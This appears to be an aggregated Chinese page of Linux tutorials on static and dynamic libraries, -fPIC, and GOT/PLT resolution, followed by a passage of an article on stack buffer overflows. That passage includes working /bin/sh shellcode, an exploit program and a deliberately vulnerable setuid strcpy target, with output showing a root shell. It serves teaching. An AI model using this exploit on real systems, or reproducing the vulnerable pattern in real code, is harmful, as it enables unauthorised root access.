精华内容
下载资源
问答
  • LINUX下动态库调用静态库的方法

    千次阅读 2016-03-18 14:04:55
    LINUX下动态库调用静态库的方法 有这样一种情形,在创建一个动态库的同时,可能会调用一个静态库,这个静态库可能是你自己写的,也可能是第三方的。比如有下面五个文件,生成一个静态库,一个动态库,一个执行文件...

    LINUX下动态库调用静态库的方法

    有这样一种情形,在创建一个动态库的同时,可能会调用一个静态库,这个静态库可能是你自己写的,也可能是第三方的。比如有下面五个文件,生成一个静态库,一个动态库,一个执行文件:

    /// static.h

    void static_print();

    ///static.cpp

    #include <iostream>

    #include "static.h"

    void static_print() {

         std::cout<<"This is static_print function"<<std::endl;

    }

    // shared.h

    void shared_print();

    // shared.cpp

    #include <iostream>

    #include "shared.h"

    #include "static.h"

    void shared_print() {

           std::cout<<"This is shared_print function";

            static_print();

    }

    test.cpp

       #include "share.h"

     

    int main()

    {

           shared_print();

           return 0;

       }

     

    怎么办呢?方法有两种:

    1、  动态库是动态库,静态库是静态库,各自编译自己的,然后在最终使用的可执行文件上再动态编译加载。按上面的例子来说明:

    静态库的.o文件不用-fPIC生成生成动态库时不加表态库.

        生成应用程序时加载动态库和静态库.

         g++ -c static.cpp // 生成static.o

         ar -r libstatic.a static.o // 生成静态库libstatic.a

         g++ -c -fPIC shared.cpp // 生成shared.o

         g++ -shared shared.o -o libshared.so // 生成动态库libshared.so : -sharedg++的选项,shared.o无关这时如果加-lstatic. error:relocation R_X86_64_32 against `a local symbol' can not be used when making a shared object; recompile with –fPIC

    (这里测试没有出现这个问题,特意测试了一下)

         g++ test.cpp  -L. -lshared -lstatic -o test.exe // link libshared.so test.exe

    2、  把静态库直接打到动态库中去。

    静态库的.o文件也用-fPIC生成生成动态库时把静态库加入.

         生成应用程序时只加载动态库

         g++ -c -fPIC static.cpp // 生成static.o

         ar -r libstatic.a static.o // 生成静态库libstatic.a

         g++ -c -fPIC shared.cpp // 生成shared.o

         g++ -shared shared.o –L. -lstatic -o libshared.so   // 生成动态库libshared.so : -sharedg++的选项,shared.o无关. -lstatic选项把libstatic.a的函数加入动态库中.

         g++ test.cpp   –L. -lshared -o test.exe // link libshared.so test.exe.

    这个例子是从网上找来的,非常感谢。

    至于哪种方式好,个人还是觉得看你的实际应用情况,仁者见仁,智者见智。


    gcc编译参数-fPIC的一些问题

     (2012-07-26 15:41:08)
    标签: 

    linux

     

    compiler

     

    gcc

     

    -fpic

     

    it

    分类: NSN_BspDriver
    ppc_85xx-gcc -shared -fPIC liberr.c -o liberr.so

    -fPIC 作用于编译阶段,告诉编译器产生与位置无关代码(Position-Independent Code),
      则产生的代码中,没有绝对地址,全部使用相对地址,故而代码可以被加载器加载到内存的任意
      位置,都可以正确的执行。这正是共享库所要求的,共享库被加载时,在内存的位置不是固定的。

    gcc -shared -fPIC -o 1.so 1.c
    这里有一个-fPIC参数
    PIC就是position independent code
    PIC使.so文件的代码段变为真正意义上的共享
    如果不加-fPIC,则加载.so文件的代码段时,代码段引用的数据对象需要重定位, 重定位会修改代码段的内容,这就造成每个使用这个.so文件代码段的进程在内核里都会生成这个.so文件代码段的copy.每个copy都不一样,取决于 这个.so文件代码段和数据段内存映射的位置.


    不加fPIC编译出来的so,是要再加载时根据加载到的位置再次重定位的.(因为它里面的代码并不是位置无关代码)
    如果被多个应用程序共同使用,那么它们必须每个程序维护一份so的代码副本了.(因为so被每个程序加载的位置都不同,显然这些重定位后的代码也不同,当然不能共享)
    我们总是用fPIC来生成so,也从来不用fPIC来生成a.
    fPIC与动态链接可以说基本没有关系,libc.so一样可以不用fPIC编译,只是这样的so必须要在加载到用户程序的地址空间时重定向所有表目.

    因此,不用fPIC编译so并不总是不好.
    如果你满足以下4个需求/条件:
    1.该库可能需要经常更新
    2.该库需要非常高的效率(尤其是有很多全局量的使用时)
    3.该库并不很大.
    4.该库基本不需要被多个应用程序共享

    如果用没有加这个参数的编译后的共享库,也可以使用的话,可能是两个原因:
    1:gcc默认开启-fPIC选项
    2:loader使你的代码位置无关

    从GCC来看,shared应该是包含fPIC选项的,但似乎不是所以系统都支持,所以最好显式加上fPIC选项。参见如下


    `-shared'
         Produce a shared object which can then be linked with other
         objects to form an executable.  Not all systems support this
         option.  For predictable results, you must also specify the same
         set of options that were used to generate code (`-fpic', `-fPIC',
         or model suboptions) when you specify this option.(1)



    -fPIC 的使用,会生成 PIC 代码,.so 要求为 PIC,以达到动态链接的目的,否则,无法实现动态链接。

    non-PIC 与 PIC 代码的区别主要在于 access global data, jump label 的不同。
    比如一条 access global data 的指令,
    non-PIC 的形势是:ld r3, var1
    PIC 的形式则是:ld r3, var1-offset@GOT,意思是从 GOT 表的 index 为 var1-offset 的地方处
    指示的地址处装载一个值,即var1-offset@GOT处的4个 byte 其实就是 var1 的地址。这个地址只有在运行的时候才知道,是由 dynamic-loader(ld-linux.so) 填进去的。

    再比如 jump label 指令
    non-PIC 的形势是:jump printf ,意思是调用 printf。
    PIC 的形式则是:jump printf-offset@GOT,
    意思是跳到 GOT 表的 index 为 printf-offset 的地方处
    指示的地址去执行,
    这个地址处的代码摆放在 .plt section

    每个外部函数对应一段这样的代码,其功能是呼叫dynamic-loader(ld-linux.so) 来查找函数的地址(本例中是 printf),然后将其地址写到 GOT 表的 index 为 printf-offset 的地方,

    同时执行这个函数。这样,第2次呼叫 printf 的时候,就会直接跳到 printf 的地址,而不必再查找了。

    GOT 是 data section, 是一个 table, 除专用的几个 entry,每个 entry 的内容可以再执行的时候修改;
    PLT 是 text section, 是一段一段的 code,执行中不需要修改。
    每个 target 实现 PIC 的机制不同,但大同小异。比如 MIPS 没有 .plt, 而是叫 .stub,功能和 .plt 一样。

    可见,动态链接执行很复杂,比静态链接执行时间长;但是,极大的节省了 size,PIC 和动态链接技术是计算机发展史上非常重要的一个里程碑。

    gcc manul上面有说
    -fpic        If the GOT size for the linked executable exceeds a machine-specific maximum size, you get an error message from the linker indicating that -fpic does not work; in that case, recompile with -fPIC instead. (These maximums are 8k on the SPARC and 32k on the m68k and RS/6000. The 386 has no such limit.)

    -fPIC       If supported for the target machine, emit position-independent code, suitable for dynamic linking and avoiding any limit on the size of the global offset table. This option makes a difference on the m68k, PowerPC and SPARC. Position-independent code requires special support, and therefore works only on certain machines.

    关键在于GOT全局偏移量表里面的跳转项大小。
    intel处理器应该是统一4字节,没有问题。
    powerpc上由于汇编

    展开全文
  • linux下so动态库调用主程序函数

    千次阅读 2020-08-27 10:06:46
    今天无意间发现在linux下share object(dynamic library)中的函数竟然可以不通过回调的方式直接访问主程序中的函数,瞬间颠覆以前对于动态的观念. 1、如代码所示libhi.so中有一个函数hello, 主程序main中有一个...

     

    linux下动态库

    今天无意间发现在linux下share object(dynamic library)中的函数竟然可以不通过回调的方式直接访问主程序中的函数,瞬间颠覆以前对于动态库的观念.

    1、如下代码所示,ibhi.so中有一个函数hello, 主程序main中有一个函数hi_out, 那么在main中调用libhi.so中的hello时,hello会自动找到main程序中的hi_output函数地址, 然后进行调用.

    =================hi.c 编译为 libhi.so===========
    extern void hi_out();
    void hello(){
        hi_out();
        ...;
    }
    
    
    =================main.c 编译为 elf_lnk=============
    #include <stdio.h>
    
    void hi_out(){
        printf("hi out.\n");
    }
    
    extern void hello();    //语句1
    int main() {
        hello();            //语句2
    
        return 0;
    }

    利用命令gcc -shared -fPIC -o libhi.so hi.c     把hi.c源文件编译成libhi.so

    利用命令gcc main.c -L. -lhi -Wl,-rpath,. -o elf_lnk 把main.c和libhi.so一起编译链接,生成可执行文件(elf_lnk)指向动态库libhi.so

     

    在感叹linux下动态库强大的同时, 对于其实现机制也产生了好奇. 经过一番努力终于在《程序员的自我修养》中第7.6.2章找到答案.
    “动态链接器在完成基本自举后, 动态链接器将可执行文件和链接器本身的符号表都合并到一个符号表中, 我们可以称它为全局符号表(Global Symbol Table)…..当一个新的share object被装载进来的时侯, 它的符号表会被合并到全局符号表中”, 因此其实libhi.so在调用hello函数时实际上是从全局符号表中找到hi_out函数的地址并进行调用, 本质上libhi.so并不知道这个hi_out是属于另一个share object还是属于main程序中.

     

    2、但当我使用dlopen系列函数动态加载libhi.so时, 却总是加载失败提示找不到hi_out函数. 理论上静态加载与动态加载上的行为应该是一样的, 只不过静态加载时dlopen将会被隐式调用而已.

    代码如下,把上面的语句1和语句2删除,增加了一些dlopen的代码。

    利用命令gcc main.c -ldl -o elf_dl 编译成可执行文件elf_dl,运行时会报错 语句3的打印

    load dlopen(/root/libhi.so): /root/libhi.so: undefined symbol: hi_out
    =================hi.c 编译为 libhi.so===========
    extern void hi_out();
    void hello(){
        hi_out();
        ...;
    }
    
    
    =================main.c 编译为 elf_dl=============
    #include <stdio.h>
    #include <dlfcn.h>    //dlopen的头文件
    
    void hi_out(){
        printf("hi out.\n");
    }
    
    int main() {
        const char* pstr = "/root/libhi.so";
        void *library = dlopen(pstr, RTLD_NOW);    //如果用RTLD_LAZY,则会在语句4报错
        if (!library ) {
            printf("load dlopen(%s): %s\n", pstr, dlerror() );  //语句3,RTLD_NOW模式在这报错
            return -1;
        }
    
        void (*pfun) ();
        pfun = (void(*)()) dlsym(library, "hello");
        if (pfun){
            pfun();    //语句4
        }
    
        return 0;
    }

    在 ld手册 找到了答案, ld在生成可执行文件时, 默认只导出被其他动态库使用的符号. 因为是使用dlopen去动态加载libhi.so, 那么链接时ld并不知道可执行文件中的hi_out会被外部引用, 也就不会导出hi_out到动态符号表去. 当dlopen打开libhi.so时, 动态链接器在全局符号表中找不到hi_out符号, 理所当然就报错了.

    要解决这个问题只要给链接器加上参数-E将主程序中所有全局符号放到动态符号表中即可, 由于生成可执行文件一般都是gcc直接生成, 因此可以使用gcc -Wl,-E来将-E参数传给ld来完成创建一个可以被动态链接的可执行文件.

     

    编译主程序: gcc main.c -Wl,-E -ldl -o elf_dl  , 编译成可执行文件elf_dl,运行ok。

    或者把-Wl,-E换成 -rdynamic,可以实现一眼的效果,用来通知链接器,把全部符号加入到动态符号表中(目的是dlopen的so库可以通过使用这些符号)

     

    3、后记

    可以用nm,或者ldd来查看libhi.so里面的未定义符号

    [root]# nm libhi.so | grep hi_out
                U hi_out
    
    [root]# ldd -r libhi.so
        ....省略
    undefined symbol: hi_out    (./libhi.so)
    展开全文
  • 本文主要讲解动态库函数的地址是如何在...地址的设置就涉及到了PLT,Procedure Linkage Table,它包含了一些代码以调用库函数,它可以被理解成一系列的小函数,这些小函数的数量其实就是库函数的被使用到的函数的数量

         本文主要讲解动态库函数的地址是如何在运行时被定位的。首先介绍一下PIC和Relocatable的动态库的区别。然后讲解一下GOT和PLT的理论知识。GOT是Global Offset Table,是保存库函数地址的区域。程序运行时,库函数的地址会设置到GOT中。由于动态库的函数是在使用时才被加载,因此刚开始GOT表是空的。地址的设置就涉及到了PLT,Procedure Linkage Table,它包含了一些代码以调用库函数,它可以被理解成一系列的小函数,这些小函数的数量其实就是库函数的被使用到的函数的数量。简单来说,PLT就是跳转到GOT中所设置的地址而已。如果这个地址是空,那么PLT的跳转会巧妙的调用_dl_runtime_resolve去获取最终地址并设置到GOT中去。由于库函数的地址在运行时不会变,因此GOT一旦设置以后PLT就可以直接跳转到库函数的真实地址了。最后使用反汇编验证和跳转流程图对上述结论加深理解。

    1. 背景-PIC VS Relocatable

            在 Linux 下制作动态链接库,“标准” 的做法是编译成位置无关代码(Position Independent Code,PIC),然后链接成一个动态链接库。那么什么是PIC呢?如果是非PIC的,那么会有什么问题?

    (1) 可重定位代码(relocatable code):Windows DLL 以及不使用 -fPIC 的 Linux so。

    生成动态库时假定它被加载在地址 0 处。加载时它会被加载到一个地址(base),这时要进行一次重定位(relocation),把代码、数据段中所有的地址加上这个 base 的值。这样代码运行时就能使用正确的地址了。当要再加载时根据加载到的位置再次重定位的。(因为它里面的代码并不是位置无关代码)。因为so被每个程序加载的位置都不同,显然这些重定位后的代码也不同,当然不能共享。如果被多个应用程序共同使用,那么它们必须每个程序维护一份so的代码副本了。当然,主流现代操作系统都启用了分页内存机制,这使得重定位时可以使用 COW(copy on write)来节省内存(32 位 Windows 就是这样做的);然而,页面的粒度还是比较大的(例如 IA32 上是 4KiB),至少对于代码段来说能节省的相当有限。不能共享就失去了共享库的好处,实际上和静态库的区别并不大,在运行时占用的内存是类似的,仅仅是二进制代码占的硬盘空间小一些。

    (2) 位置无关代码(position independent code):使用 -fPIC 的 Linux so。

    这样的代码本身就能被放到线性地址空间的任意位置,无需修改就能正确执行。通常的方法是获取指令指针(如 x86 的 EIP 寄存器)的值,加上一个偏移得到全局变量/函数的地址。AMD64 下,必须使用位置无关代码。x86下,在创建so时会有一个警告。但是这样的so可以完全正常工作。PIC 的缺点主要就是代码有可能长一些。例如 x86,由于不能直接使用 [EIP+constant] 这样的寻址方式,甚至不能直接将 EIP 的值交给其他寄存器,要用到 GOT(global offset table)来定位全局变量和函数。这样导致代码的效率略低。PIC 的加载速度稍快,因为不需要做重定位。多个进程引用同一个 PIC 动态库时,可以共用内存。这一个库在不同进程中的虚拟地址不同,但操作系统显然会把它们映射到同一块物理内存上。

        因此,除非你的so不会被共享,否则还是加上-fPIC吧。


    2. GOT和PLT

        我们都知道动态库是在运行时绑定的。那么编译器是如何找到动态链接库里面的函数的地址呢?事实上,直到我们第一次调用这个函数,我们并不知道这个函数的地址,这个功能要做延迟绑定 lazy bind。 因为程序的分支很多,并不是所有的分支都能跑到,想想我们的异常处理,异常处理分支的动态链接库里面的函数也许永远跑不到,所以,启动时解析所有出现过的动态库里面的函数是个浪费的办法,降低性能并且没有必要。

    Global Offset Table(GOT)

           在位置无关代码中,一般不能包含绝对虚拟地址(如共享库)。当在程序中引用某个共享库中的符号时,编译链接阶段并不知道这个符号的具体位置,只有等到动态链接器将所需要的共享库加载时进内存后,也就是在运行阶段,符号的地址才会最终确定。因此,需要有一个数据结构来保存符号的绝对地址,这就是GOT表的作用,GOT表中每项保存程序中引用其它符号的绝对地址。这样,程序就可以通过引用GOT表来获得某个符号的地址。

           在x86结构中,GOT表的前三项保留,用于保存特殊的数据结构地址,其它的各项保存符号的绝对地址。对于符号的动态解析过程,我们只需要了解的就是第二项和第三项,即GOT[1]和GOT[2]:GOT[1]保存的是一个地址,指向已经加载的共享库的链表地址;GOT[2]保存的是一个函数的地址,定义如下:GOT[2] = &_dl_runtime_resolve,这个函数的主要作用就是找到某个符号的地址,并把它写到与此符号相关的GOT项中,然后将控制转移到目标函数,后面我们会详细分析。GOT示意如下图,GOT表slot的数量就是3 + number of functions to be loaded.


    Procedure Linkage Table(PLT)

           过程链接表(PLT)的作用就是将位置无关的函数调用转移到绝对地址。在编译链接时,链接器并不能控制执行从一个可执行文件或者共享文件中转移到另一个中(如前所说,这时候函数的地址还不能确定),因此,链接器将控制转移到PLT中的某一项。而PLT通过引用GOT表中的函数的绝对地址,来把控制转移到实际的函数。

           在实际的可执行程序或者共享目标文件中,GOT表在名称为.got.plt的section中,PLT表在名称为.plt的section中。

    3. 反汇编

    我们使用的代码是:

    #include <iostream>
    #include <stdlib.h>
    void fun(int a)
    {
      a++;
    }
    
    int main()
    {
      fun(1);
      int x = rand();
      return 0;
    }

    动态库里面需要重定位的函数在.got.plt这个段里面,通过readelf我们可以看到,它一共有六个地址空间,前三个我们已经解释了。说明该程序预留了三个所需要重新定位的函数。因此用不到的函数是永远不会被加载的。

      [23] .dynamic          DYNAMIC          0000000000600e10  00000e10
           00000000000001d0  0000000000000010  WA       8     0     8
      [24] .got              PROGBITS         0000000000600fe0  00000fe0
           0000000000000008  0000000000000008  WA       0     0     8
      [25] .got.plt          PROGBITS         0000000000600fe8  00000fe8
           0000000000000048  0000000000000008  WA       0     0     8

    反汇编main函数:

    (gdb) disas main
    Dump of assembler code for function main:
    0x0000000000400549 <main+0>:    push   %rbp
    0x000000000040054a <main+1>:    mov    %rsp,%rbp
    0x000000000040054d <main+4>:    sub    $0x10,%rsp
    0x0000000000400551 <main+8>:    mov    $0x1,%edi
    0x0000000000400556 <main+13>:   callq  0x40053c <fun>
    0x000000000040055b <main+18>:   callq  0x400440 <rand@plt>
    0x0000000000400560 <main+23>:   mov    %eax,-0x4(%rbp)
    0x0000000000400563 <main+26>:   mov    $0x0,%eax
    0x0000000000400568 <main+31>:   leaveq
    0x0000000000400569 <main+32>:   retq
    End of assembler dump.
    可以看到其实调用我们自定义的fun和系统库函数rand形成的汇编差不多,没有额外的处理。接着向下看rand:

    (gdb) disas 0x400440
    Dump of assembler code for function rand@plt:
    0x0000000000400440 <rand@plt+0>:        jmpq   *0x200bc2(%rip)        # 0x601008 <_GLOBAL_OFFSET_TABLE_+32>
    0x0000000000400446 <rand@plt+6>:        pushq  $0x1
    0x000000000040044b <rand@plt+11>:       jmpq   0x400420
    End of assembler dump.
    真正有意思的在# 0x601008 <_GLOBAL_OFFSET_TABLE_+32>。也就是rand@plt首先会跳到这里。我们看一下这里是什么:

    (gdb) x 0x601008
    0x601008 <_GLOBAL_OFFSET_TABLE_+32>:    0x00400446
    接着看0x00400446是什么:

    (gdb) x/5i 0x00400446
    0x400446 <rand@plt+6>:  pushq  $0x1
    0x40044b <rand@plt+11>: jmpq   0x400420
    可能你注意到了,这里的处理是和刚才的rand@plt的jmpq一样。都是将0x1入栈,然后jmpq 0x400420。因此这样就避免了GOT表是否为是真实值的检查:如果是空,那么去寻址;否则直接调用。


    其实接下来处理的就是调用_dl_runtime_resolve_()函数,该函数最终会寻址到rand的真正地址并且会调用_dl_fixup来将rand的实际地址填入GOT表中。

    我们将整个程序执行完,然后看一下0x601008 <_GLOBAL_OFFSET_TABLE_+32>是否已经修改成rand的实际地址:

    (gdb) x 0x601008
    0x601008 <_GLOBAL_OFFSET_TABLE_+32>:    0xf7ab6470

    可以看到,rand的地址已经修改为0xf7ab6470了。然后可以通过maps确认一下是否libc load在这个地址:

    (gdb) shell cat /proc/`pgrep a.out`/maps
    00400000-00401000 r-xp 00000000 08:02 491638                             /root/study/got/a.out
    00600000-00601000 r--p 00000000 08:02 491638                             /root/study/got/a.out
    00601000-00602000 rw-p 00001000 08:02 491638                             /root/study/got/a.out
    7ffff7a80000-7ffff7bd5000 r-xp 00000000 08:02 327685                     /lib64/libc-2.11.1.so
    7ffff7bd5000-7ffff7dd4000 ---p 00155000 08:02 327685                     /lib64/libc-2.11.1.so
    7ffff7dd4000-7ffff7dd8000 r--p 00154000 08:02 327685                     /lib64/libc-2.11.1.so
    7ffff7dd8000-7ffff7dd9000 rw-p 00158000 08:02 327685                     /lib64/libc-2.11.1.so
    7ffff7dd9000-7ffff7dde000 rw-p 00000000 00:00 0
    7ffff7dde000-7ffff7dfd000 r-xp 00000000 08:02 327698                     /lib64/ld-2.11.1.so
    7ffff7fc4000-7ffff7fc7000 rw-p 00000000 00:00 0
    7ffff7ffa000-7ffff7ffb000 rw-p 00000000 00:00 0
    7ffff7ffb000-7ffff7ffc000 r-xp 00000000 00:00 0                          [vdso]
    7ffff7ffc000-7ffff7ffd000 r--p 0001e000 08:02 327698                     /lib64/ld-2.11.1.so
    7ffff7ffd000-7ffff7ffe000 rw-p 0001f000 08:02 327698                     /lib64/ld-2.11.1.so
    7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0
    7ffffffea000-7ffffffff000 rw-p 00000000 00:00 0                          [stack]
    ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

    没有问题,如我们所分析的那样:

    7ffff7a80000-7ffff7bd5000 r-xp 00000000 08:02 327685                     /lib64/libc-2.11.1.so
    以后的调用就直接调用库函数了:



    尊重原创,转载请注明出处 anzhsoft: http://blog.csdn.net/anzhsoft/article/details/18776111

    参考资料:

    1. http://www.linuxidc.com/Linux/2011-06/37268.htm

    2. http://blog.chinaunix.net/uid-24774106-id-3349549.html

    3. http://www.linuxidc.com/Linux/2011-06/37268.htm

    4. http://eli.thegreenplace.net/2011/11/03/position-independent-code-pic-in-shared-libraries/

    展开全文
  • Linux下函数调用堆栈帧的详细解释

    千次阅读 2015-08-03 14:22:14
    本文首先向读者讲解了Linux下进程地址空间的布局以及进程堆栈帧的结构,然后在此基础上介绍了Linux下缓冲区溢出攻击的 原理及对策。 前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个...

    http://www.ibm.com/developerworks/cn/linux/l-overflow/

    本文首先向读者讲解了Linux下进程地址空间的布局以及进程堆栈帧的结构,然后在此基础上介绍了Linux下缓冲区溢出攻击的 原理及对策。

    前言

    从逻辑上讲,进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用。当函数调用发生时,新的堆栈帧被压入堆栈;当函数返回时,相应的堆栈帧从堆栈中弹出。尽管堆栈帧结构的引入为在高级语言中实现函数或过程这样的概念提供了直接的硬件支持,但是由于将函数返回地址这样的重要数据保存在程序员可见的堆栈中,因此也给系统安全带来了极大的隐患。

    历史上最著名的缓冲区溢出攻击可能要算是1988年11月2日的Morris Worm所携带的攻击代码了。这个因特网蠕虫利用了fingerd程序的缓冲区溢出漏洞,给用户带来了很大危害。此后,越来越多的缓冲区溢出漏洞被发现。 从bind、wu-ftpd、telnetd、apache等常用服务程序,到Microsoft、Oracle等软件厂商提供的应用程序,都存在着似乎永远也弥补不完的缓冲区溢出漏洞。

    根据绿盟科技提供的漏洞报告,2002年共发现各种操作系统和应用程序的漏洞1830个,其中缓冲区溢出漏洞有432个,占总数的 23.6%. 而绿盟科技评出的2002年严重程度、影响范围最大的十个安全漏洞中,和缓冲区溢出相关的就有6个。

    在读者阅读本文之前有一点需要说明,文中所有示例程序的编译运行环境为gcc 2.7.2.3以及bash 1.14.7,如果读者不清楚自己所使用的编译运行环境可以通过以下命令查看:

     
    $ gcc -v
    Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.7.2.3/specs
    gcc version 2.7.2.3
    $ rpm -qf /bin/sh
    bash-1.14.7-16

    如果读者使用的是较高版本的gcc或bash的话,运行文中示例程序的结果可能会与这里给出的结果不尽相符,具体原因将在相应章节中做出解释。


    Linux下缓冲区溢出攻击实例

    为了引起读者的兴趣,我们不妨先来看一个Linux下的缓冲区溢出攻击实例。

     
    #include
    #include
    extern char **environ;
    int main(int argc, char **argv)
    {
    char large_string[128];
    long *long_ptr = (long *) large_string;
    int i;
    char shellcode[] =
    "\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b"
    "\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd"
    "\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";
    for (i = 0; i < 32; i++)
    *(long_ptr + i) = (int) strtoul(argv[2], NULL, 16);
    for (i = 0; i < (int) strlen(shellcode); i++)
    large_string[i] = shellcode[i];
    setenv("KIRIKA", large_string, 1);
    execle(argv[1], argv[1], NULL, environ);
    return 0;
    }


    图1 攻击程序exe.c
    #include 
    #include
    int main(int argc, char **argv)
    {
    char buffer[96];
    printf("- %p -\\n", &buffer);
    strcpy(buffer, getenv("KIRIKA"));
    return 0;
    }

    图2 攻击对象toto.c

    将上面两个程序分别编译为可执行程序,并且将toto改为属主为root的setuid程序:

    $ gcc exe.c -o exe
    $ gcc toto.c -o toto
    $ su
    Password:
    # chown root.root toto
    # chmod +s toto
    # ls -l exe toto
    -rwxr-xr-x 1 wy os 11871 Sep 28 20:20 exe*
    -rwsr-sr-x 1 root root 11269 Sep 28 20:20 toto*
    # exit

    OK,看看接下来会发生什么。首先别忘了用whoami命令验证一下我们现在的身份。其实Linux继承了UNIX的一个习惯,即普通 用户的命令提示符是以$开始的,而超级用户的命令提示符是以#开始的。

    $ whoami
    wy
    $ ./exe ./toto 0xbfffffff
    - 0xbffffc38 -
    Segmentation fault
    $ ./exe ./toto 0xbffffc38
    - 0xbffffc38 -
    bash# whoami
    root
    bash#

    第一次一般不会成功,但是我们可以准确得知系统的漏洞所在――0xbffffc38,第二次必然一击毙命。当我们在新创建的shell 下再次执行whoami命令时,我们的身份已经是root了!由于在所有UNIX系统下黑客攻击的最高目标就是对root权限的追求,因此可以说系统已经 被攻破了。

    这里我们模拟了一次Linux下缓冲区溢出攻击的典型案例。toto的属主为root,并且具有setuid属性,通常这种程序是缓冲 区溢出的典型攻击目标。普通用户wy通过其含有恶意攻击代码的程序exe向具有缺陷的toto发动了一次缓冲区溢出攻击,并由此获得了系统的root权 限。有一点需要说明的是,如果读者使用的是较高版本的bash的话,即使通过缓冲区溢出攻击exe得到了一个新的shell,在看到whoami命令的结 果后您可能会发现您的权限并没有改变,具体原因我们将在本文最后一节做出详细的解释。不过为了一睹为快,您可以先使用本文 代 码包中所带的exe_pro.c作为攻击程序,而不是图1中的exe.c。


    Linux下进程地址空间的布局及堆栈帧的结构

    要想了解Linux下缓冲区溢出攻击的原理,我们必须首先掌握Linux下进程地址空间的布局以及堆栈帧的结构。

    任何一个程序通常都包括代码段和数据段,这些代码和数据本身都是静态的。程序要想运行,首先要由操作系统负责为其创建进程,并在进程的虚拟地址空间中为其代码段和数据段建立映射。光有代码段和数据段是不够的,进程在运行过程中还要有其动态环境,其中最重要的就是堆栈。图3所示为 Linux下进程的地址空间布局:


    图3 Linux下进程地址空间的布局
     

    首先,execve(2)会负责为进程代码段和数据段建立映射,真正将代码段和数据段的内容读入内存是由系统的缺页异常处理程序按需完成的。另外,execve(2)还会将bss段清零,这就是为什么未赋初值的全局变量以及static变量其初值为零的原因。进程用户空间的最高位置是用来存放程序运行时的命令行参数及环境变量的,在这段地址空间的下方和bss段的上方还留有一个很大的空洞,作为进程动态运行环境的栈和堆就栖身在这一段,其中栈向下扩展,堆向上扩展。

    知道了堆栈在进程地址空间中的位置,我们再来看一看堆栈中都存放了什么。相信读者对C语言中的函数这样的概念都已经很熟悉了,堆栈中存放的就是与每个函数对应的堆栈帧。当函数调用发生时,新的堆栈帧被压入堆栈;当函数返回时,相应的堆栈帧从堆栈中弹出。典型的堆栈帧结构如图4所示。

    堆栈帧的顶部为函数的实参,下面是函数的返回地址以及前一个堆栈帧的指针,最下面是分配给函数的局部变量使用的空间。一个堆栈帧通常都有两个指针,其中一个称为堆栈帧指针,另一个称为栈顶指针。前者所指向的位置是固定的,而后者所指向的位置在函数的运行过程中可变。因此,在函数中访问实参和局部变量时都是以堆栈帧指针为基址,再加上一个偏移。对照图4可知,实参的偏移为正,局部变量的偏移为负。


    图4 典型的堆栈帧结构
     

    介绍了堆栈帧的结构,我们再来看一下在Intel i386体系结构上堆栈帧是如何实现的。图5和图6分别是一个简单的C程序及其编译后生成的汇编程序。

    图5 一个简单的C程序example1.c

    int function(int a, int b, int c)
    {
            char buffer[14];
            int     sum;
            sum = a + b + c;
            return sum;
    }
    void main()
    {
            int     i;
            i = function(1,2,3);
    }


    编译成汇编代码:

    $ gcc -S example1.c

    图6 example1.c编译后生成的汇编程序example1.s

        .file   "example1.c"  
        .version    "01.01"  
    gcc2_compiled.:  
    .text  
        .align 4  
    .globl function  
        .type    function,@function  
    function:  
        pushl %ebp  
        movl %esp,%ebp  
        subl $20,%esp  
        movl 8(%ebp),%eax  
        addl 12(%ebp),%eax  
        movl 16(%ebp),%edx  
        addl %eax,%edx  
        movl %edx,-20(%ebp)  
        movl -20(%ebp),%eax  
        jmp .L1  
        .align 4  
    .L1:  
        leave  
        ret  
    .Lfe1:  
        .size    function,.Lfe1-function  
        .align 4  
    .globl main  
        .type    main,@function  
    main:  
        pushl %ebp  
        movl %esp,%ebp  
        subl $4,%esp  
        pushl $3  
        pushl $2  
        pushl $1  
        call function  
        addl $12,%esp  
        movl %eax,%eax  
        movl %eax,-4(%ebp)  
    .L2:  
        leave  
        ret  
    .Lfe2:  
        .size    main,.Lfe2-main  
        .ident  "GCC: (GNU) 2.7.2.3"  

    (不同的编译器编译出来的汇编代码可能不同)

    .text 指定了后续编译出来的内容放在代码段【可执行】;

    .globl 告诉编译器后续跟的是一个全局可见的名字【可能是变量,也可能是函数名】;

    _start是一个函数的起始地址,也是编译、链接后程序的起始地址。由于程序是通过加载器来加载的,必须要找到 _start名字的函数,因此_start必须定义成全局的,以便存在于编译后的全局符合表中,供其它程序【如加载器】寻找到。

    这里我们着重关心一下与函数function对应的堆栈帧形成和销毁的过程。从图5中可以看到,function是在main中被调用的,三个实参的值分别为1、2、3。由于C语言中函数传参遵循反向压栈顺序,所以在图6中32至34行三个实参从右向左依次被压入堆栈。接下来35行的 call指令除了将控制转移到function之外,还要将call的下一条指令addl的地址,也就是function函数的返回地址压入堆栈。下面就进入function函数了,首先在第9行将main函数的堆栈帧指针ebp保存在堆栈中并在第10行将当前的栈顶指针esp保存在堆栈帧指针ebp中,最后在第11行为function函数的局部变量buffer[14]和sum在堆栈中分配空间。至此,函数function的堆栈帧就构建完成了,其结构如图7所示。


    图7 函数func的堆栈帧

     

